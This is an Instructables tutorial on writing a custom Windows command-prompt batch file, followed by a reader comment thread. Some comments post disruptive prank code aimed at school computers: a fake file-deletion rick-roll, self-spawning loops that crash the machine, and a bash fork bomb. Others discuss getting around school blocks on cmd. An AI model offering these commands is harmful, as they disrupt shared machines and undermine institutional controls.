This will teach u how to create your own command prompt!!!

Step 1: Creating the Document.

Step 1:Right click on your desktop. Select new text document.
This will create the document u need to create the command prompt.

Step 2: Editing the Code.

Name the document custom command prompt.bat.
Right click on the document and select edit.
Type @echo off
break off
title custom command prompt (or just title it anything u want) color 0a

set /p cmd=command: (or type in anything you want)

goto cmd
Click save not save as just save.
Exit notepad and click on the document u created it will open your own command prompt.
<p>This is not creating any other than a shortcut command to the pre existing cmd.exe which people can utilize just by typing cmd in thee run dialog. But for those new to programming it is a good start. </p>
<p>Dude, this was seven years ago. I do Artificial Intelligence research now and I find that people still commenting on this hilarious.</p>
Im starting to try and make a simple but effective os that schools and people at home can use would you be interested in helping if so message me on icegaming1205@gmail.com
<p>I did it, though. This is my code:</p><p>@echo off</p><p>ECHO v.1.1.1</p><p>@echo off</p><p>break off</p><p>verify on</p><p>Color 0f</p><p>title F:\fsytem32\Command Prompt of JOB (3DS)</p><p>ver</p><p>:cmd</p><p>set /p cmd=command:</p><p>%cmd%</p><p>echo.</p><p>goto cmd</p><p>Well, my own command prompt cannot execute the command GetTime, though (and also on other custom command prompts). When you execute GetTime, it will close instead the custom command prompt. I don't know how to solve this though, so use the original command prompt to execute GetTime.</p>
<p>Made this about 2 years back. Found this article just now while surfing in inscrutables just for time passing :) So thought to put a screen shot. What do you guys think ? (My code is a bit different to what is here, with a 2 or three pause points just to make it look better, but basically it's somewhat the same). If anyone needs any help on how to make the look &amp; get the command path off the screen etc., just put a reply.</p>
<p>I love how so many of you rant and rave about how simple this program is.</p><p>So what? Nobody forced you to even click on this article.</p><p>The title is very clear, hopefully it didn't fool you into believing that you'll learn something to enhance your advanced programming skills.</p><p>I like it.</p><p>Having said that, what I find hilarious is that you claim to 'do' Artificial Intelligence... not sure the relevance, unless you were fishing for compliments.<a href="https://www.instructables.com/member/Tuxmascot" rel="nofollow"><br></a></p><p>Oh yes, and congrats that you 'made this when I was a little kid', you must be awesome by now (luv the BMX helmet btw).</p><p>So many trolls, so little time.</p>
thats way to complicated man..........all u have to do is open up notepad and type command.com and save it as (watever u want).bat
<p>If cmd.exe and command.com is not available, that will not work, bro. Nice try, though (NO OFFENSE!).</p>
Fancy seeing you here, Griff xD
that doesnt always work
no offense, but is typing so few lines such a big deal? it's like 20 seconds of copying+pasting or typing. plus this code lets you personalize it. i've never used batch code before and this is pretty cool for me.
and if you continue, you can actually create text adventure games, like i have made a few.. maybe one day i'll make an instructable
I made this when I was a little kid in elementary school lol! I didn't think people would read it this much.
Well, when you get to middle and high school the techies start blocking stuff like this. Unfortunately, they blocked this one 2. If Anyone has similair versions, please let me know via privat message =)
My version<br> ********************<br> <br> @echo off<br> title Command Prompt - by account3r2<br> ver<br> echo (C) Copyright Microsoft Corp.<br> echo.<br> :cmd<br> set /p &quot;cmd=%cd%&gt;&quot;<br> %cmd%<br> echo.<br> goto cmd<br> <br> ************************<br> its awesome check it out copy BETWEEN THE stars (******)<br> thanks<br>
Not to be degrading, but how is that different from the one you would normally use? That makes absolutely no sense.<br><br>The one in this tut, although old, is green and is completely customized based on your wants. <br><br>Trust me, if you think batch is cool, learn a new language that is actually useful like C++ or C#. Those are probably the coolest. You also have Ruby and Python which I incredibly love and Java for some cool stuff as well.
Yeah, I know that was a long time ago when I didn't know very much about programming and also that was supposed to be for schools/something that blocks the normal cmd... I have learned more programming languages and better batch programming, too... Sorry.
I cant tell what this does. I did it and it didnt do anything,
Yeah, sorry, I made that a while ago when I didn't know that much about this stuff... I have my own instructable now but it needs work still... but I have made many versions with security from my new knowledge of the BATCH language.
you say that this is a command prompt, in ur script i see no commands at all
A command prompt &quot;prompts&quot; you for a command. Basically, this is just a customized command prompt in windows. I might make a different one in C++ in a while.
Probably a virus.
&nbsp;echo off<br /> echo Delete all files? (Y/N)<br /> pause &gt;nul<br /> dir /s<br /> dir /s<br /> msg * All files deleted...<br /> start http://bit.ly/RR<br /> msg * RICK ROLL'd!!!!!!!! lol n00b<br /> <br /> <br /> I do this to all the computers at school. lol<br /> <br />
At school, I made an app so when you click it, the disk tray goes in and out every few seconds lol. I also have one so that when you click it, then right click or press start, it randomly clicks something lol. I put both on when there was a sub, and I brought my freind to show him my Matrix thing on the computer, the teacher was on it with a super confused/frustrated look, trying to fix it XD. Anyhoo, I edited your code a little bit because it didnt work right on mine, so use this a .bat file.<br><br>@echo off<br> echo Delete all files? (Y/N)<br> pause &gt;nul<br> dir /s<br> echo all files deleted. press e to exit<br>pause &gt;nul<br>echo RICK ROLL'd!!!!!!!! lol n00b<br>pause &gt;nul<br>
oh yeah i forgot to mention this is the first time i have been rick roll'd lol
You are a genious i have to do that!<br /> hey in return ill give you something copy this and save as a batch file in notepad:<br /> :s <br /> start %0<br /> goto :s<br /> <br /> &nbsp;but dont run it on ur own computer or it will crash from pulling up cmd so many times!&nbsp;=D
or you could do:<br /> <br /> <br /> start<br /> filename.extension*<br /> <br /> <br /> and then name it filename.extension*<br /> *example: hack.bat or hack.cmd<br />
nice! ive never really used fake viruses, so ive got to hand it to you. Job well done!
i tested it and it has no virus at all<br />
&nbsp;I think you could just like, copy cmd.exe to your flash drive, and make a batch file like the customizable kind and change the path of cmd.exe to this:<br /> %Drive letter name%:\cmd.exe command /perameters
I take NO responsibility for this!! NONE!<br /> <br /> @echo off<br /> :p<br /> start iexplore.exe<br /> goto p
hey this is another code<br /><br />@echo off<br />color 0a<br />:Input<br />title @ %CD%<br />echo.<br />set/p &quot;command= +++&gt; &quot;<br />%command%<br />goto Input<br />
did you know that typing FORMAT C: can be a virus?<br /><br />i take no responsiility for what you do after reading this comment<br />
:(){ :|:& };: As an answer to your question 2.
why not just use the prompt command?
That`s what <em>I</em> meant!<br/>
Well... with UI (In batch!) (aka. choice, set /p, etc.)
you could, but practical uses of batch files can do everything in an instant, when in the actual command prompt, it could take a while to type everything
Heh, you could just make a .bat file meant to be ran <em>from</em> cmd that does everything.(It may <em>may</em> be complicated!)<br/>
what is the purpose of the @echo off
It hides the coding when actually viewing the .bat you can try going @echo on, it will make it real obvious :D
It just opens as a txt file for me...what do I need to change?
press SAVE AS and save it as prompt.BAT the .bat runs it in a cmd
did you save it as .bat? when you save, you need to type the title with .bat on the end or it will open as a txt file.
Erm, no offense. But you could also press Windows Key + R to open the run box, type in cmd and hit enter. Bam, command prompt. You can take things alot further with cygwin, the linux like enviroment for windows. www.cygwin.com/
Many schools also disable the run dialogue.
Though not exactly a solution to your point, you can get past a huge number of school safety features by running your favorite linux distro off a CD/Flash Drive. I won't go into the specifics, but some quick research will give you all the info you need.
that is awesome... i like it alot...!
yes that is true. But at school/ offices, they like to disable CMD.

About This Instructable




More by Tuxmascot:How to create your own command prompt in windows xp 
Add instructable to: